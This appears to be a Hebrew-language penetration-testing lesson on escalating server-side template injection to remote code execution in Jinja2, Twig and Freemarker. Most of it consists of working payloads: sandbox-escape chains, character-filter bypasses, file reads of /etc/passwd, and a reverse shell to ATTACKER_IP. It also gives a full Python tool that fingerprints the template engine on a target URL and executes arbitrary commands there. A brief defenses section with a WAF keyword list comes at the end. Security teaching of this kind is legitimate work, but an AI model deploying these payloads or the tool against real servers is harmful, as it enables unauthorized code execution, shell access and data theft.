SSTI ל-RCE - Server-Side Template Injection to Remote Code Execution¶
מבוא¶
בקורס הבסיסי למדנו לזהות SSTI ולהריץ ביטויים פשוטים. בשיעור זה נלמד כיצד לנצל SSTI להרצת קוד מלאה (RCE) במנועי template שונים, כולל bypass sandbox ובניית שרשראות exploit מותאמות.
Jinja2 - בריחה מ-Sandbox¶
הבנת MRO - Method Resolution Order¶
ב-Python, כל אובייקט יורש מ-object. דרך MRO ניתן לנווט מכל אובייקט לכל מחלקה אחרת במערכת:
# empty string -> the str class -> object -> any other class
''.__class__ # <class 'str'>
''.__class__.__mro__ # (<class 'str'>, <class 'object'>)
''.__class__.__mro__[1] # <class 'object'>
# from object, you can reach all subclasses
''.__class__.__mro__[1].__subclasses__()
# returns a list of hundreds of classes!
חיפוש מחלקות שימושיות¶
# Script to find interesting classes
subclasses = ''.__class__.__mro__[1].__subclasses__()
for i, cls in enumerate(subclasses):
cls_name = cls.__name__
if cls_name in ['_wrap_close', 'Popen', 'catch_warnings', 'FileLoader']:
print(f"[{i}] {cls_name} - {cls}")
מחלקות מעניינות:
- os._wrap_close - גישה ל-os.system
- subprocess.Popen - הרצת פקודות
- warnings.catch_warnings - גישה ל-builtins
- importlib._bootstrap.FileLoader - טעינת מודולים
שרשרת exploit בסיסית¶
{# find os._wrap_close (assume it's at index 132) #}
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('id') }}
{# or via popen #}
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read() }}
אוטומציה של מציאת האינדקס¶
{# script that searches for os._wrap_close #}
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
{% if cls.__name__ == '_wrap_close' %}
{{ cls.__init__.__globals__['popen']('id').read() }}
{% endif %}
{% endfor %}
הbypass הגבלות תווים¶
כשתווים מסוימים חסומים, ניתן להשתמש בטכניקות חלופיות:
{# if a single quote is blocked - use the request object #}
{{ request.__class__.__mro__[1].__subclasses__() }}
{# if a period is blocked - use the attr filter #}
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}
{# if square brackets are blocked - use __getitem__ #}
{{ ''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132) }}
{# if underscore is blocked - use hex encoding #}
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1] }}
{# use config #}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
שרשראות חלופיות עם אובייקטים מובנים¶
{# lipsum - a built-in function in Jinja2 #}
{{ lipsum.__globals__['os'].popen('id').read() }}
{# cycler #}
{{ cycler.__init__.__globals__['os'].popen('id').read() }}
{# joiner #}
{{ joiner.__init__.__globals__['os'].popen('id').read() }}
{# namespace #}
{{ namespace.__init__.__globals__['os'].popen('id').read() }}
שרשרת עם builtins¶
{# access __builtins__ via catch_warnings #}
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
{% if cls.__name__ == 'catch_warnings' %}
{% set builtins = cls.__init__.__globals__['__builtins__'] %}
{{ builtins['__import__']('os').popen('id').read() }}
{% endif %}
{% endfor %}
Twig - RCE ב-PHP¶
שרשרת filter¶
{# use filter to execute a callback #}
{{ ['id']|filter('system') }}
{# or with map #}
{{ ['id']|map('system') }}
{# use sort with a callback #}
{{ ['id', '']|sort('system') }}
{# use reduce #}
{{ [0, 0]|reduce('system', 'id') }}
שרשרת _self.env¶
{# access Twig's environment #}
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
{# or via system #}
{{ _self.env.registerUndefinedFilterCallback("system") }}
{{ _self.env.getFilter("cat /etc/passwd") }}
גרסאות חדשות יותר של Twig¶
{# Twig 3.x - various chains #}
{{ ['id']|filter('system') }}
{{ ['cat /etc/passwd']|map('system')|join }}
{# use include #}
{{ include('/etc/passwd') }}
Freemarker - RCE ב-Java¶
שרשרת Execute¶
<#-- use the Execute class -->
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}
<#-- use ObjectConstructor -->
<#assign oc = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign runtime = oc("java.lang.ProcessBuilder", ["id"])>
${runtime.start()}
<#-- read a file -->
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(",")}
שרשרת עם built-ins¶
<#-- use the new built-in -->
<#assign classloader = object?api.class.protectionDomain.classLoader>
<#assign url = classloader.getResource("").toURI()>
<#-- read files -->
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
זיהוי אוטומטי של מנוע Template¶
תרשים זרימה¶
Input: ${7*7}
|
+-- 49 --> Input: ${7*'7'}
| |
| +-- 49 --> Twig
| +-- 7777777 --> Jinja2
| +-- Error --> Unknown
|
+-- ${7*7} (as text) --> Input: {{7*7}}
|
+-- 49 --> Input: {{7*'7'}}
| |
| +-- 49 --> Twig
| +-- 7777777 --> Jinja2
|
+-- {{7*7}} --> Input: <%= 7*7 %>
|
+-- 49 --> ERB (Ruby)
+-- Error --> Not SSTI
סקריפט אוטומטי לזיהוי¶
#!/usr/bin/env python3
"""
SSTI Detection and Exploitation Tool
"""
import requests
import re
import sys
class SSTIExploiter:
def __init__(self, url, param, method="GET"):
self.url = url
self.param = param
self.method = method
self.engine = None
def send_payload(self, payload):
"""Send a payload to the application"""
if self.method == "GET":
params = {self.param: payload}
response = requests.get(self.url, params=params)
else:
data = {self.param: payload}
response = requests.post(self.url, data=data)
return response.text
def detect_engine(self):
"""Detect the template engine"""
print("[*] Detecting template engine...")
# Test 1: ${7*7}
result = self.send_payload("${7*7}")
if "49" in result:
# Freemarker, Velocity, or Smarty
result2 = self.send_payload("${7*'7'}")
if "49" in result2:
self.engine = "freemarker"
else:
self.engine = "velocity"
print(f"[+] Detected: {self.engine}")
return self.engine
# Test 2: {{7*7}}
result = self.send_payload("{{7*7}}")
if "49" in result:
# Jinja2, Twig, or Handlebars
result2 = self.send_payload("{{7*'7'}}")
if "7777777" in result2:
self.engine = "jinja2"
elif "49" in result2:
self.engine = "twig"
else:
self.engine = "unknown_mustache"
print(f"[+] Detected: {self.engine}")
return self.engine
# Test 3: <%= 7*7 %>
result = self.send_payload("<%= 7*7 %>")
if "49" in result:
self.engine = "erb"
print(f"[+] Detected: {self.engine}")
return self.engine
# Test 4: #{7*7}
result = self.send_payload("#{7*7}")
if "49" in result:
self.engine = "pug"
print(f"[+] Detected: {self.engine}")
return self.engine
print("[-] No template injection detected")
return None
def exploit_jinja2(self, command):
"""Exploit Jinja2"""
payloads = [
# Chain 1: lipsum
"{{ lipsum.__globals__['os'].popen('" + command + "').read() }}",
# Chain 2: cycler
"{{ cycler.__init__.__globals__['os'].popen('" + command + "').read() }}",
# Chain 3: subclasses
"{% for cls in ''.__class__.__mro__[1].__subclasses__() %}"
"{% if cls.__name__=='_wrap_close' %}"
"{{ cls.__init__.__globals__['popen']('" + command + "').read() }}"
"{% endif %}{% endfor %}",
]
for i, payload in enumerate(payloads):
print(f"[*] Trying Jinja2 chain {i+1}...")
result = self.send_payload(payload)
# Search for the command output in the response
if result and len(result) > 0:
print(f"[+] Success with chain {i+1}")
return result
return None
def exploit_twig(self, command):
"""Exploit Twig"""
payloads = [
"{{ ['" + command + "']|filter('system') }}",
"{{ ['" + command + "']|map('system') }}",
]
for payload in payloads:
result = self.send_payload(payload)
if result:
return result
return None
def exploit_freemarker(self, command):
"""Exploit Freemarker"""
payload = '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("' + command + '")}'
return self.send_payload(payload)
def exploit(self, command):
"""Automatic exploitation based on the detected engine"""
if not self.engine:
self.detect_engine()
if self.engine == "jinja2":
return self.exploit_jinja2(command)
elif self.engine == "twig":
return self.exploit_twig(command)
elif self.engine == "freemarker":
return self.exploit_freemarker(command)
else:
print(f"[-] No exploit available for {self.engine}")
return None
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <url> <param> <command>")
print(f"Example: {sys.argv[0]} http://target.com/page name 'id'")
sys.exit(1)
url = sys.argv[1]
param = sys.argv[2]
command = sys.argv[3]
exploiter = SSTIExploiter(url, param)
engine = exploiter.detect_engine()
if engine:
result = exploiter.exploit(command)
if result:
print(f"\n[+] Command output:\n{result}")
Payloads מלאים לכל מנוע¶
Jinja2 - אוסף Payloads¶
{# RCE - method 1 #}
{{ lipsum.__globals__['os'].popen('id').read() }}
{# RCE - method 2 #}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{# RCE - method 3 (bypass a filter on quotes) #}
{% set cmd = request.args.get('cmd') %}
{{ lipsum.__globals__['os'].popen(cmd).read() }}
{# RCE - method 4 (bypass a filter on underscore) #}
{{ lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
{# read a file #}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{# Reverse Shell #}
{{ lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read() }}
Twig - אוסף Payloads¶
{# RCE - filter #}
{{ ['id']|filter('system') }}
{# RCE - map #}
{{ ['cat /etc/passwd']|map('system')|join }}
{# RCE - sort callback #}
{{ {1: 'id'}|filter('system') }}
{# read a file #}
{{ '/etc/passwd'|file_excerpt(0, 100) }}
{# information about the environment #}
{{ app.request.server.get('DOCUMENT_ROOT') }}
Freemarker - אוסף Payloads¶
<#-- RCE - Execute -->
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}
<#-- RCE - ProcessBuilder -->
<#assign pb = "freemarker.template.utility.ObjectConstructor"?new()>
${pb("java.lang.ProcessBuilder", ["bash", "-c", "id"]).start().inputStream.text}
<#-- read a file -->
<#assign is = "freemarker.template.utility.ObjectConstructor"?new()("java.io.FileInputStream", "/etc/passwd")>
<#assign reader = "freemarker.template.utility.ObjectConstructor"?new()("java.io.InputStreamReader", is)>
<#assign br = "freemarker.template.utility.ObjectConstructor"?new()("java.io.BufferedReader", reader)>
<#list 1..999 as _>
<#assign line = br.readLine()!>
<#if line?has_content>${line}<br></#if>
</#list>
הגנות¶
הפרדת Template מנתוני משתמש¶
# unsafe - inserting user input directly into the template
template_str = f"Hello {user_input}"
template = Template(template_str)
output = template.render()
# safe - passing user data as parameters
template = Template("Hello {{ name }}")
output = template.render(name=user_input)
Sandbox¶
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ name }}")
output = template.render(name=user_input)
# the Sandbox blocks access to __class__, __mro__, etc.
WAF Rules¶
# Block dangerous expressions
# __class__, __mro__, __subclasses__, __globals__
# __init__, __import__, popen, system, exec, eval
# lipsum, cycler, joiner, config
סיכום¶
| מנוע Template | שפה | שרשרת RCE עיקרית | קושי |
|---|---|---|---|
| Jinja2 | Python | lipsum.globals['os'].popen() | בינוני |
| Twig | PHP | filter('system') | נמוך |
| Freemarker | Java | Execute?new() | נמוך |
| ERB | Ruby | system() | נמוך |
| Pug | Node.js | require('child_process').execSync() | בינוני |
SSTI היא אחת החולשות שהכי קל לנצל ל-RCE מלא. אם מצאתם SSTI - סביר מאוד שתגיעו ל-RCE. המפתח הוא לזהות את מנוע ה-Template ולהשתמש בשרשרת המתאימה.